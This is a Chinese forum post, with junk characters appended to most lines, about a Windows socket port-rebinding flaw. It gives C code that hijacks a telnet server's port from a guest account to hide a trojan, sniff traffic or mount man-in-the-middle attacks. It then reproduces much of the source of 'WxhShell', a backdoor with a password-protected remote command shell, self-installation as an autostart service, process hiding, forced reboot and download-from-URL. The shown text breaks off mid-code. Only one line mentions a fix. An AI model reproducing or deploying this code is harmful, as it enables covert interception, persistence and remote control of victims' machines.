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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G 7)D+],{Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s/[i>`g/9  
U30)r+&  
  saddr.sin_family = AF_INET; 5?kA)!|UB  
z s"AYxr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b=T+#Jb  
oz5o=gt7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nu0bJ:0aLd  
YY!(/<VI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b+p!{  
R~*Y@_oD  
  这意味着什么?意味着可以进行如下的攻击: s*CKFEb#  
vB4cdW 2#3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,f?#i%EF&  
xYu~}kMu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \>=YxB q  
8)POEY4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ['km'5uZ^  
j|G-9E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a3c4#'c|D  
iKabo,~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x#8=drh.:C  
Ok`U*j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8]?1gDS|9O  
uBE,z>/,;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sId5pY!  
:ZP3$Dp  
  #include '6 'XBL?  
  #include 78QFaN$  
  #include ABHZ)OM  
  #include    mW-@-5Wda  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Fo G<$9  
  int main() ,xh9,EpBk  
  { %|,<\~P  
  WORD wVersionRequested; F>b6fUtR  
  DWORD ret; ?@#}%<yEq  
  WSADATA wsaData; sMS`-,37u  
  BOOL val; p 5o;Rvr  
  SOCKADDR_IN saddr; <C>i~ <`d  
  SOCKADDR_IN scaddr; g^C6"rsnl  
  int err; UKJY.W!w4  
  SOCKET s; V]O :;(W_  
  SOCKET sc; "|G,P-5G"  
  int caddsize; y^A $bTQq  
  HANDLE mt; sR 9F:  
  DWORD tid;   8 KkpXaz  
  wVersionRequested = MAKEWORD( 2, 2 ); H\k5B_3OU  
  err = WSAStartup( wVersionRequested, &wsaData ); $ vjmW! O  
  if ( err != 0 ) { ^"l$p,P+  
  printf("error!WSAStartup failed!\n"); LX fiSM{o  
  return -1; 0&\Aw'21  
  } =z3jFaZ  
  saddr.sin_family = AF_INET; Xp~]kRm9  
   gCJ'wv)6|%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EC~t 'v  
fEjW7 c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %yMzgk[u  
  saddr.sin_port = htons(23); Vw*x3>`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  5q ,  
  {  +o  
  printf("error!socket failed!\n"); 1pb;A;F,A  
  return -1; }SV3PdE  
  } Y2X1!Em>B  
  val = TRUE; QB[s8"S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QC4T=E]` j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i-?zwVmn  
  { QP B"E W  
  printf("error!setsockopt failed!\n"); ]K7  64}  
  return -1; W\,lII0  
  } ?Qig$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zcKC5vqb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <dL04F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hzLGmWN2j8  
:*@|"4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h`]/3Ma*:  
  { -YV4  O  
  ret=GetLastError(); CLfb`rF  
  printf("error!bind failed!\n"); JJ?ri,  
  return -1; %h"< IA S.  
  } z,|%? 1  
  listen(s,2); ? SP7vQ/  
  while(1) (u&yb!`  
  { 5"am>$rh  
  caddsize = sizeof(scaddr); ZYe\"|x,s  
  //接受连接请求 uS#Cb+*F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .p9h$z^  
  if(sc!=INVALID_SOCKET) "IG$VjgcB  
  { 2U'JzE^Do  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s|r7DdI  
  if(mt==NULL) 1vs>2` DLa  
  { 8.Ef5-m  
  printf("Thread Creat Failed!\n"); )75yv<L2S,  
  break; 'uAC oME@  
  } |D`b7h  
  } %C6zXiO"  
  CloseHandle(mt); 'lsq3!d.  
  } $a*Q).^  
  closesocket(s); s<_LcQbt{  
  WSACleanup(); @\`G & VB  
  return 0; _@pf1d$  
  }   jnp6qpY{  
  DWORD WINAPI ClientThread(LPVOID lpParam) &9dr+o-(~  
  { 06 Esc^D  
  SOCKET ss = (SOCKET)lpParam; 8+|V!q   
  SOCKET sc; hf^`at  
  unsigned char buf[4096]; R^M (fC  
  SOCKADDR_IN saddr; K: o|kd  
  long num; O|OSE  
  DWORD val; vYR=TN=Z4  
  DWORD ret; iC|6roO!jk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m)|.:sj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '"]>`=R  
  saddr.sin_family = AF_INET; BdB`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aRO_,n9  
  saddr.sin_port = htons(23); e|5B1rMM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ds$\vSd  
  { AV[PQI  
  printf("error!socket failed!\n"); 6 ,pZRc  
  return -1; C+(Gg^ w  
  } aEFe!_QY  
  val = 100; o(X90X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OU.9 #|qU  
  { Q0q)n=i }]  
  ret = GetLastError(); (m3I#L  
  return -1; MY?O/,6  
  } X\p`pw$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !: EW21m  
  { bV )PT`-,  
  ret = GetLastError(); fJn3"D'  
  return -1; \p3nd!OIG  
  } q(&^9"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ))CXjwLj;  
  { LN~N Fjs  
  printf("error!socket connect failed!\n"); %KJhtd"q  
  closesocket(sc); im4e!gRE  
  closesocket(ss); k;K> ,$ F  
  return -1; fV A=<:  
  } fUp|3bBE  
  while(1) @ yg| OA}  
  { VM<oUKh_3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @wEKCn|}o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p-Rm,xyL%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mV**9-"  
  num = recv(ss,buf,4096,0); 2sd ) w  
  if(num>0) j:v~MrQ7|  
  send(sc,buf,num,0); `uNvFlP  
  else if(num==0) Z/NGv  
  break; a9? v\hG  
  num = recv(sc,buf,4096,0); Pghva*&  
  if(num>0) (^tr}?C  
  send(ss,buf,num,0); 1IOo?e=/bM  
  else if(num==0) ) 8x:x7?  
  break; VW{aUgajO  
  } dJ%wVY0z=  
  closesocket(ss); 'B:Z=0{>N  
  closesocket(sc); ,u ?wYW;  
  return 0 ; e9z$+h  
  } pIZLGsu[  
p@cfY]<7  
ueWR/  
========================================================== )){PBT}t]  
Tsm)&$JI8  
下边附上一个代码,,WXhSHELL 1AV1d%F  
! F0rd9  
==========================================================  95.qAFB1  
L~*|,h  
#include "stdafx.h" ^f^-.X  
vHs>ba$"  
#include <stdio.h> O3^98n2  
#include <string.h> #Acon7R p  
#include <windows.h> !p]T6_t]Q  
#include <winsock2.h> UC8vR>e\  
#include <winsvc.h> Gt^|+[gD  
#include <urlmon.h> bDciZ7[b  
V;>9&'Z3  
#pragma comment (lib, "Ws2_32.lib") wb(*7 &eP:  
#pragma comment (lib, "urlmon.lib") io1S9a(y  
+G*"jI8W  
#define MAX_USER   100 // 最大客户端连接数 o/tVcv  
#define BUF_SOCK   200 // sock buffer )LkM,T  
#define KEY_BUFF   255 // 输入 buffer 6V'wQqJ  
5xh!f%6  
#define REBOOT     0   // 重启 -vyIOH,  
#define SHUTDOWN   1   // 关机 bWGyLo,  
fp.!VOy  
#define DEF_PORT   5000 // 监听端口 qg^(w fI  
pY^pTWs(  
#define REG_LEN     16   // 注册表键长度 GwgFi@itN  
#define SVC_LEN     80   // NT服务名长度 E)KB@f<g*  
l%^h2 o  
// 从dll定义API 6?53q e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m(2G*}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lr9=OlH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PYdIP\<V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mZ`1JO9  
P#AAOSlLV  
// wxhshell配置信息 c Dfx)sL  
struct WSCFG { k%{ l4  
  int ws_port;         // 监听端口 Jb( DJ-&  
  char ws_passstr[REG_LEN]; // 口令 x^zdTMNhw  
  int ws_autoins;       // 安装标记, 1=yes 0=no IM@"AD52a  
  char ws_regname[REG_LEN]; // 注册表键名 ^$e0t;W=  
  char ws_svcname[REG_LEN]; // 服务名 EYA/CI   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &foD&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q}WL/X5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _GE=kw;:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :lgHL3yl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q_-ma_F#s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E|Q{]&$;Z"  
R78!x*U}  
}; 66/Z\H^d  
+H41]W6  
// default Wxhshell configuration 9~=gwP  
struct WSCFG wscfg={DEF_PORT, 6 4?Pfir6  
    "xuhuanlingzhe", (RExV?:  
    1, Q6u{@$(/N  
    "Wxhshell", /j11,O?72  
    "Wxhshell", +eU`H[iu  
            "WxhShell Service", FH4u$ g+  
    "Wrsky Windows CmdShell Service", Sc$gnUYD{  
    "Please Input Your Password: ", 4 ^4d9?c  
  1, S)+CTVVE  
  "http://www.wrsky.com/wxhshell.exe", RV}GK L>gn  
  "Wxhshell.exe" WPtMds4  
    }; )Ea8{m!   
juH wHt  
// 消息定义模块 CF\R<rF<VS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `N$!s7M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .x EJaID\N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $.wA?`1aSk  
char *msg_ws_ext="\n\rExit."; z /weit  
char *msg_ws_end="\n\rQuit."; B "*`R!y  
char *msg_ws_boot="\n\rReboot..."; l^ARW E  
char *msg_ws_poff="\n\rShutdown..."; GYd]5`ri  
char *msg_ws_down="\n\rSave to "; sllzno2bU  
w(Gz({l+  
char *msg_ws_err="\n\rErr!"; `YU=~xQ  
char *msg_ws_ok="\n\rOK!"; V`[P4k+b   
3524m#4&@  
char ExeFile[MAX_PATH]; 5Q|sta!  
int nUser = 0; vu<#wW*9  
HANDLE handles[MAX_USER]; n08; <  
int OsIsNt; M'DWu|dIBA  
Xk?R mU6  
SERVICE_STATUS       serviceStatus; 0Qp[\ia  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]rnXNn;  
Ssf+b!e]  
// 函数声明 }"n7~|  
int Install(void); Ib6(Bp9.L  
int Uninstall(void); R]Ek}1~?  
int DownloadFile(char *sURL, SOCKET wsh); ~p\n&{P0  
int Boot(int flag); L7}i q0  
void HideProc(void); q? 9GrwL8F  
int GetOsVer(void); ddoFaQ8  
int Wxhshell(SOCKET wsl); T9?54r  
void TalkWithClient(void *cs); dMV=jJ%Y  
int CmdShell(SOCKET sock); e #M iaX  
int StartFromService(void); hg8Be6G <  
int StartWxhshell(LPSTR lpCmdLine); (ND%}  
ybE[B}pOeZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '_ 0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k;Hnu  
Vo M6  
// 数据结构和表定义 Sy  
SERVICE_TABLE_ENTRY DispatchTable[] = 8teJ*sz  
{ J {tVa(.  
{wscfg.ws_svcname, NTServiceMain}, W5Zqgsy($F  
{NULL, NULL} [;^,CD|P  
}; ?Ht=[l=  
^A!$i$NON  
// 自我安装 M{E{NK  
int Install(void) oH X$k{6  
{ R=M!e<'  
  char svExeFile[MAX_PATH]; YeyGN  
  HKEY key; zCV7%,H~  
  strcpy(svExeFile,ExeFile); g5Td("& n  
RJ}#)cT  
// 如果是win9x系统,修改注册表设为自启动 S4bBafj[I  
if(!OsIsNt) { K5`Rk" s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9M'DC^x*T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " U8S81'  
  RegCloseKey(key); OCK>%o$[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jg_n7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d#>y}H9  
  RegCloseKey(key); fu]N""~  
  return 0; *||d\peQ  
    } 2f,2rW^i  
  } Fo}7hab  
} c-8!#~M(  
else { +S9PML){h  
h{_*oBa  
// 如果是NT以上系统,安装为系统服务 Phs-(3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4!%F\c46  
if (schSCManager!=0) /k6fLn2;  
{  CdZ BG  
  SC_HANDLE schService = CreateService e:-8k_0|  
  ( `hrQw)5?r  
  schSCManager, |B^G:7c  
  wscfg.ws_svcname, ]KuMz p!  
  wscfg.ws_svcdisp, ! '0S0a8  
  SERVICE_ALL_ACCESS, >oJkJ$|wU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P8I*dvu _  
  SERVICE_AUTO_START, '\~^TFi  
  SERVICE_ERROR_NORMAL, &.N $  
  svExeFile, b,<9  
  NULL, 'q{733o  
  NULL, =6T 4>rP  
  NULL, uaw <  
  NULL, g/Wh,f3  
  NULL ;3m!:l  
  ); #T3 h}=  
  if (schService!=0) -<f;l _(  
  { 9uYyfb: ,z  
  CloseServiceHandle(schService); ]%dnKP~  
  CloseServiceHandle(schSCManager); Q-eCHr)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c&'JmKV>&  
  strcat(svExeFile,wscfg.ws_svcname); +R.N%_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vpp&|n9^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SO?8%s(   
  RegCloseKey(key); csQfic  
  return 0; =A!S/;z>  
    } }e]f  
  } NAr1[{^E,  
  CloseServiceHandle(schSCManager); W/+K9S25  
} 1np^(['ih  
} `a]44es9q  
d"Q |I  
return 1; NPjv)TN}3  
} !<\Br  
[_6&N.  
// 自我卸载 /^7iZ|>:M:  
int Uninstall(void) s(2GFc  
{ 8im@4A+n`  
  HKEY key; k(s;,B\  
eE]hy'{d<  
if(!OsIsNt) { @gfDp<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O&Z' r  
  RegDeleteValue(key,wscfg.ws_regname); C!x/ ^gw  
  RegCloseKey(key); D!LX?_cD1i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Dsm~bkX[  
  RegDeleteValue(key,wscfg.ws_regname); !u;>Wyd W  
  RegCloseKey(key); y2yKm1<Ru<  
  return 0; )g1a'G  
  } UWXm?v2j  
} ,"?A2n-qO  
} kODK@w V-  
else { m7|RD]q&  
d^D i*&X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "HIXm  
if (schSCManager!=0) =hH.zrI6e  
{ IMLsQit*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P`SnavQBt  
  if (schService!=0) a}nbo4jK  
  { 3sm M,fi  
  if(DeleteService(schService)!=0) { /.Jb0h[W1  
  CloseServiceHandle(schService); A}VYb:u/  
  CloseServiceHandle(schSCManager); tbDoP Y  
  return 0; I=Zx"'Um  
  } t-e5ld~a  
  CloseServiceHandle(schService); D&:yMp(  
  } l}g;'9ZB  
  CloseServiceHandle(schSCManager); OEgI_= B  
} h 8 @  
} U]4pA#*{|  
l:(Rb-Wy  
return 1; ' P"g\;Ij  
} %:C ]7gQ  
:Ao!ls' =  
// 从指定url下载文件 A2H4k|8  
int DownloadFile(char *sURL, SOCKET wsh) j -O2aL  
{ Kp iF0K  
  HRESULT hr; 9h,u6e  
char seps[]= "/"; 5_o$<\I\  
char *token; ./-JbW  
char *file; '_0]vupvY  
char myURL[MAX_PATH]; CC >=UF  
char myFILE[MAX_PATH]; #VbVs l  
jFG0`n}I  
strcpy(myURL,sURL);  t,%iL  
  token=strtok(myURL,seps); SS.jL)  
  while(token!=NULL) ] gb=  
  { S[:xqzyDg  
    file=token; irBDGT~  
  token=strtok(NULL,seps); g^>#^rLU  
  } v Y|!  
V_^@  
GetCurrentDirectory(MAX_PATH,myFILE); B/uniR^x  
strcat(myFILE, "\\"); w Fn[9_`*  
strcat(myFILE, file); l95<QI  
  send(wsh,myFILE,strlen(myFILE),0); &~sfYW  
send(wsh,"...",3,0); tx7~S Ur  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vq'c@yw;  
  if(hr==S_OK) UH`hOJ?  
return 0; ?:rx1}:F  
else h rN%  
return 1; o@E/r.uK  
-7-['fX  
} ) |#%Czd4  
_sHK*&W{CT  
// 系统电源模块 dWRrG-'  
int Boot(int flag) ``Q 2P%  
{ 7YIK9edP  
  HANDLE hToken; D@YP7  
  TOKEN_PRIVILEGES tkp; %,*$D} H  
3NK ^AaTK  
  if(OsIsNt) { q`|CrOzO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); < a rZbM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |PVt}*0"  
    tkp.PrivilegeCount = 1; M@UVpQwgv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l0]d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;."<m   
if(flag==REBOOT) { WT3gNNx|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rjA@U<o  
  return 0; 0Ce]V,i6C>  
} ik1tidw  
else { n(Y%Vmy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rx ~[Zs+*  
  return 0; 5t:8.%<UK  
} 0au)g!ti  
  } p QE)p  
  else { P @% .`8  
if(flag==REBOOT) { x ,/TXTZ6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ps[$.h  
  return 0; |KCOfVh?|.  
} m7]hJ,0  
else { [G|mY6F^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y#V8(DTyH  
  return 0; P<dy3 ;  
} Tt# bg1  
} ;I6s-moq_  
A/*%J74v  
return 1; %"3 )TN4  
} ~.tvrx g  
`d]Z)*9  
// win9x进程隐藏模块 \y Hen|%  
void HideProc(void) Q%=YM4;  
{ 3-Bl  
Y Z}cB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K\! #4>yd  
  if ( hKernel != NULL ) C*Vd-U  
  { l)8&Ip  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); < +`(\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4n( E;!s  
    FreeLibrary(hKernel); ^J=hrYGA  
  } 6o&ZIYJ9k  
oh8L`=>&a  
return; PBqy F  
} @|-OJ4[5  
;6;H*Y0,|E  
// 获取操作系统版本 P~$< X  
int GetOsVer(void) 'A{h iY  
{ R'K/t|MC  
  OSVERSIONINFO winfo; eBr4O i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c=p=-j=.J  
  GetVersionEx(&winfo); T.&7sbE_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `x8B n"  
  return 1; 8QgA@y"  
  else xh9qg0d  
  return 0; %|Qw9sbd  
} Y>6.t"?Q^  
$n=lsDnhQ  
// 客户端句柄模块 {ShgJ ;! Q  
int Wxhshell(SOCKET wsl) mB 55PYA  
{ 3Kq`<B~%  
  SOCKET wsh; \{|ImCH  
  struct sockaddr_in client; x-m/SI]_N  
  DWORD myID; _2Py\+$  
OKue" p  
  while(nUser<MAX_USER) sRRI3y@  
{ |H)cuZ  
  int nSize=sizeof(client); _GaJXWMbk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +c,[ Q  
  if(wsh==INVALID_SOCKET) return 1; ETw]! br  
t%0?N<9YkU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I*)VZW  
if(handles[nUser]==0) F4I6P  
  closesocket(wsh); #;r]/)>  
else 0&w0a P`Y  
  nUser++; }p3b#fAr  
  } rzLd"`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gSi5u# }J  
XX;6 P  
  return 0; Pe^ !$  
} i?}>.$j  
|7F*MP  
// 关闭 socket K'b*A$5o  
void CloseIt(SOCKET wsh) L4' [XcY  
{ L10IF  
closesocket(wsh); %_)zWlN  
nUser--; [s6C ZcL  
ExitThread(0); 7!4V >O8@  
} >.%4~\U  
Epjff@ 7A  
// 客户端请求句柄 @PkJY  
void TalkWithClient(void *cs) E%pz9gcSx  
{ H oy7RC&  
RIy\u >  
  SOCKET wsh=(SOCKET)cs; r|Zi3+  
  char pwd[SVC_LEN]; 7Ua7A  
  char cmd[KEY_BUFF]; CY"i-e"q<Q  
char chr[1]; /'&;Q7!)  
int i,j; pO/%N94s  
a5c'V   
  while (nUser < MAX_USER) { __N.#c/l{  
!vqC+o>@  
if(wscfg.ws_passstr) { Jbw!:x [  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HkjEiU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'p}`i/  
  //ZeroMemory(pwd,KEY_BUFF); dk5|@?pe  
      i=0; G2Qjoe`Uc  
  while(i<SVC_LEN) { DZ`k[Z.VZ  
=Viy^ieN$  
  // 设置超时 V|?WF&  
  fd_set FdRead; mUXk9X%n  
  struct timeval TimeOut; g`Md80*Zfk  
  FD_ZERO(&FdRead); 00<{:  
  FD_SET(wsh,&FdRead); >M4"|W U_  
  TimeOut.tv_sec=8; =4NqjSH  
  TimeOut.tv_usec=0; ;bjnL>eW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .]t5q%}j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4O$2]D.\  
v|@1(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A" !n1P  
  pwd=chr[0]; x mo&![P  
  if(chr[0]==0xd || chr[0]==0xa) { ZwJciT!_~  
  pwd=0; *g7DPN$aQ  
  break; gY5l.&  
  } o0Gx%99'  
  i++; ;sQbn|=e"  
    } @EZ>f5IO+  
([pSVOnIz  
  // 如果是非法用户,关闭 socket oXal  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rxE&fjW  
} 0D3OE.$0  
tbur$ 00  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {*xBm#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ejcwg*i  
(_8#YyW#  
while(1) { FmT `Oa>  
Mtp%co)f  
  ZeroMemory(cmd,KEY_BUFF); esq<xuZM4  
%KV2< t?  
      // 自动支持客户端 telnet标准   #x)}29%e#  
  j=0; "'{OIP  
  while(j<KEY_BUFF) { '`o[+.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 19I:%$U3  
  cmd[j]=chr[0]; ^Q2ZqAf^a  
  if(chr[0]==0xa || chr[0]==0xd) { -u6#-}S  
  cmd[j]=0; /bcY6b=:  
  break; eE3-t/=  
  } @YZ 4AC  
  j++; .E<Dz  
    } +TX/g~  
"iek,Y}j7  
  // 下载文件 Z3;=w%W  
  if(strstr(cmd,"http://")) { YmDn+VIg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H@W0gK(cS;  
  if(DownloadFile(cmd,wsh)) Vyt E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]P3[.$z  
  else  P\(30  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lk nVqZ|k  
  } iZTa>@   
  else { yYX :huw  
<Cq"| A  
    switch(cmd[0]) { Z<]VTo  
  BjZ>hhs!*  
  // 帮助 fv ?45f  
  case '?': { R}k69-1vL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pt})JMm  
    break; ,y.3Fe  
  } F6&P~H  
  // 安装 qJ Gm8^b-  
  case 'i': { =] KIkS3  
    if(Install()) Wem?{kx0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3+ asP&n  
    else {3 o% d:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H m8y]>$  
    break; I#c(J  
    } iS05YW  
  // 卸载 dq1TRFu  
  case 'r': { j+0.= #{??  
    if(Uninstall()) ,%8$D-4#_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x]' H jTqX  
    else A$m<@%Sz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m/?h2McS  
    break; ~XQ$aRl&  
    } 8p,>y(o  
  // 显示 wxhshell 所在路径 XGk}e4;_  
  case 'p': { Fwv\pJ}$  
    char svExeFile[MAX_PATH]; y:9?P~  
    strcpy(svExeFile,"\n\r"); vU 9ek:.l  
      strcat(svExeFile,ExeFile); Iaa|qJ4  
        send(wsh,svExeFile,strlen(svExeFile),0); Wa, 7P2r  
    break; BHclUwj  
    } RAOKZ~`  
  // 重启 .EzSSU7n)  
  case 'b': { 6o(lObfo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o16~l]Z|f  
    if(Boot(REBOOT)) c}cG<F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %&1$~m0  
    else { E7 L bSZ  
    closesocket(wsh); hg&u0AQ2  
    ExitThread(0); B$`d&7I;D  
    } @>Ek'~m  
    break; _UIgRkl.  
    } +gNX7xuY  
  // 关机 )|:8zDuJ  
  case 'd': { @?M; 'xMbB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3Tw%W0q  
    if(Boot(SHUTDOWN)) ](n69XX_  
